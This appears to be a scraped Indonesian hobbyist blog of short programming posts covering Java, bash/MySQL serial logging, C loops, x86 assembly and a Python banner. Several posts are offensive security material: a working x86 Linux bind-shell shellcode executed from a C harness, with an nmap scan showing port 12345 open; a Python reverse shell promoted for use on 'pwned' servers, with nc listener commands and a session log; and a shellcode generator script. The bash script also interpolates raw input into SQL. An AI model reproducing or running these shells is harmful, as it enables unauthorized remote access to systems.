fungsi auto increament dengan java

bumi gonjang ganjing langit kelap kelap katooooonnnnn!!!
ini ceritanya pas lagi iseng iseng dikerjain software Java dengan database postgresql, dimana di postgresql ini kok ya autoincreament gada kaya di mysql tho.. jadi pusing aku coba.. akhirnya nemu wangsit buat bikin dewe auto increamentnya huihuihuihui… :)
oke singkat cerita ada database dengan tabel soal_ekskul, ada kolom namanya “id” <– untuk cek, kasi aja type data integer, sambil nggabungin fungsi String to integer dan integer to String pada posting sebelumnya.. huihuihuihui
ini routinnya:

int m = 0;
            stmt = c.createStatement();
            String gedhang = "select * from soal_ekskul order by id desc limit 1";
            ResultSet rsa = stmt.executeQuery(gedhang);
            while(rsa.next()){
            String tape = rsa.getString("id");
               
            int ketan = Integer.parseInt(tape);
            int klepon = ketan+1;
            String dangglem = Integer.toString(klepon);
            m = m+1;

tu dah… buat ngecek kasih aja System.out.println(dangglem) ato apalah… silahkan dimodif..
eh.. yang punya kopi sama rokok dong…

konversi integer ke string di java

heuuuhhh…. kalo kemaren post tentang konversi type data string ke integer, sekarang di balik dari integer ke string… huihuihuihuihui…
sama kayak posting sebelumnya..

public class inttostring {

	public static void main (String args[]) {
		int dua = 2;
		String duwe = Integer.toString(dua);
		System.out.println("angka " + duwe + " dalam bahasa Madura adalah duwe");	

	}
}

test it.. :)

membaca serial2usb dan menginputkan data ke mysql via shellscriptting linux

hooo… lama juga gak update blog yak.. oke deh sedikit sharing aja, ini ceritanya adalah nemuin arsip lama, yaitu program kecil buat baca data sensor dan memasukkan data ke Database mysql, dengan susunan peralatan sbb:

sensor -> mikrokontroler -> serial2usb converter -> komputer include server mysql

oke lanjut bos, untuk mengetahui serial2usb konverternya kebaca apa tuh anak di linux, pake perintah ini

dmesg | grep tty

ntar ketahuan misal /dev/ttyACM0
dan misal di mysql ada database dengan nama “Fisika” dengan table “data” dan columns “id, suhu, waktu”, dan kita pengin masukkin data ke situ, jadi gak usa lama lama ya pegel ini..

oke berikut source program buat baca

#!/bin/bash
# inisialisasi untuk server, user dan pwd mysql
HOST="localhost";
USER="user_disini";
PWD="password_terserah_cuk";
#mulai
#disini usbtoserial kebaca ACM0
#READ=`cat /dev/ttyACM0`
while true
do
#time=`date +%a-%b-%Y:%T`
time=`date +%a-%b-%Y:%T`
sleep 1
clear
read READ < /dev/ttyACM0
# proses baca dari serial2usb
echo $READ
sleep 1
#bagian untuk memasukkan data ke mysql
#database:FISIKA tabel:data kolom:(id,suhu,waktu)
echo "USE fisika; INSERT INTO data (id,suhu,waktu) VALUES ('','$READ','$time');" > /tmp/query.sql;
 
# eksekusi queery
results=`mysql -h $HOST -u $USER -p$PWD < /tmp/query.sql`;

done

oke friend, test it. :)

iseng nyoba

#include <stdio.h>
char shell[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80"
"\x96\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x66\x58\x50"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89"
"\xdf\xff\xe1";
int main(void) {
       ((void (*)(void))shell)(); // str()
        return 0;
}

scan:

root@deepmind:~# nmap localhost

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-15 08:51 WIT
Interesting ports on localhost (127.0.0.1):
Not shown: 999 closed ports
PORT      STATE SERVICE
12345/tcp open  netbus

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

loop tiada akhir di C

contoh:

#include <stdio.h>
int main(){
	while(1){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}

dan
#include <stdio.h>
int main(){
	for(;;){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}

simple hello world asm32

sedikit kisah tentang belajar assembly 32 bit di lingkungan linux:

section .data
pesan db "Hello world",10 ; variable pesan berisi "Hello world" dan diakhiri nilai 10 yaitu newline
len equ $-pesan ; panjang string adalah mengurangi address di baris ini dengan alamat string

section .text

global _start

_start:

mov edx,11 ; panjang string dimasukkan register edx
mov ecx,pesan ; alamat memory yang menyimpan string dimasukkan ke dalam register ecx
mov ebx,1 ; 1 adalah stdout
mov eax,4 ;syscall 4 adalah sys_write()
int 0x80 ; interup untuk eksekusi

xor ebx, ebx ; memberi nilai 0 pada ebx setelah bernilai 1, nilai default adalah 0
mov eax,1 ; syscall exit
int 0x80

compiling, linking dan eksekusi

akfsec@Indonesia:~/program/asm32$ nasm -f elf helloworld.asm
akfsec@Indonesia:~/program/asm32$ ld -o helloworld helloworld.o
akfsec@Indonesia:~/program/asm32$ ./helloworld
Hello world

reverse shell written in python

sedikit hasil coding dengan cara seksama dan dalam tempo yang sesingkat2nya :) , reverse shell, bisa digunakan dan dikembangkan sebagai alternatif jika bertemu pwned server yang didisable untuk php shell :)

untuk penggunaanya disiapkan dulu listening port nya, misal:

nc -l 12345

contoh penggunaan:
di box kita:

r3dsh4d0w@deepmind:~$ nc -l 12345

di box yang mengeksekusi reverseshell:

akfsec@Indonesia:~/program/python$ id
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)
akfsec@Indonesia:~/program/python$ ./reverseshell.py 192.168.1.2 12345

hasil di box listen:

r3dsh4d0w@deepmind:~$ nc -l 12345
w00t!!, succesfully connected
please wait while getting the prompt
Enjoy dude...
id    
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)

untuk sourcenya:
Read more of this post

shellcode maker written in python

hello world… iseng iseng cari referensi tentang shellcoding, eh.. akhirnya mengisengkan diri untuk membuat program untuk otomatisasi membuat shellcode dari source.asm, berikut sourcecodenya, silahkan dikembangkan…

#!/usr/bin/env python
import os, sys, time
os.system("clear")
def banner():
    print "###################################################################"
    print "___________________________________________________________________"
    print "________/__\_|_|__/__//_______/__________________|__|______________"
    print "_______/___ \|_|_/__//__/_____/_____/_/_____\____|__|_/_____\______"
    print "______/__/\__|_|/__//______\_/__/____/__/\___\/_____|/______/______"
    print "_____/__/__\_|___<__\__\_____\__\____\__\/___/__/___|__<___________"
    print "____(________|_|\__\_\__\_____\_____\_\_____/\_______\_____\_______"
    print "_____________\_|_\__\_\__\_________________________________________"
    print "______________\/__\__\_________shellcode generator v.1_____________"
    print "_______________________________coder: -AKF-________________________"
    print "_______________________________requirements: linux, nasm, gcc______"
    print "_______________________________target : intel-32___________________"
    print "___________________________________________________________________"
    print "###################################################################"

if len(sys.argv) <= 1:
    banner()
    print "[+]usage: ./" + sys.argv[0] + " source.asm"   
    print "[+]ex: ./" + sys.argv[0] + " testshell.asm"
    sys.exit(1)

banner()
akf = sys.argv[1]
egg = akf[:-4]
greenblack="nasm -f elf " + akf
dop="ld -o egg"+ " " + egg + ".o"
print "[+]please wait while processing your program"
os.system(greenblack)
time.sleep(3)
print "[+]almost D0ne..."
os.system(dop)
time.sleep(3)	
print "[+]D0ne!!, the shellcode is:"
print ""
print "<-------save the code below in .c-------->"
print ""
print "//shellcode generator v.1"
print "//coder: -AKF- a.k.a redshadow"
print "//underattacks security research"
print "//akfcode"
print "#include <stdio.h>"
print "char shellcode[]="
minal = "egg"
lakov = "objdump -d ./"
qolbu = "|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/\"/'|sed 's/$/\"/g'"
likov = lakov+minal+qolbu
os.system(likov)
print ";"
print "int main(void) {"
print "((void (*)(void))shellcode)();"
print "return 0;"
print "}"
print ""
print "<----------------- EOF ------------------->"
print ""
print "[+]thanks for using!!!"
brengos = "rm egg"
masje = "rm " + egg + ".o"
os.system(brengos)
os.system(masje)

dan berikut contoh penggunaanya:
Read more of this post

register untuk prosesor intel arsitek 32 bit

wah, ini sedikit sharing berhubung saya sedang belajar bahasa assembly khususnya 32 bit untuk prosesor intel, dengan assemblernya adalah nasm, kali ini adalah tentang register, yang saya baca dari berbagai referensi:

berikut skemanya:

register sendiri merupakan variable yang sudah terinclude ke dalam prosesor, sehingga programmer bisa menggunakannya dalam berbagai keperluan, wah.. segitu dulu ya, saya bingung menulisaknnya :D

semoga bermanfaat

-AKF-

baner sederhana

contoh:

#!/usr/bin/env python
print "###################################################################"
print "___________________________________________________________________"
print "________/__\_|_|__/__//_______/__________________|__|______________"
print "_______/___ \|_|_/__//__/_____/_____/_/_____\____|__|_/_____\______"
print "______/__/\__|_|/__//______\_/__/____/__/\___\/_____|/______/______"
print "_____/__/__\_|___<__\__\_____\__\____\__\/___/__/___|__<___________"
print "____(________|_|\__\_\__\_____\_____\_\_____/\_______\_____\_______"
print "_____________\_|_\__\_\__\_________________________________________"
print "______________\/__\__\_____________________________________________"
print "___________________________________________________________________"
print "###################################################################"

Follow

Get every new post delivered to your Inbox.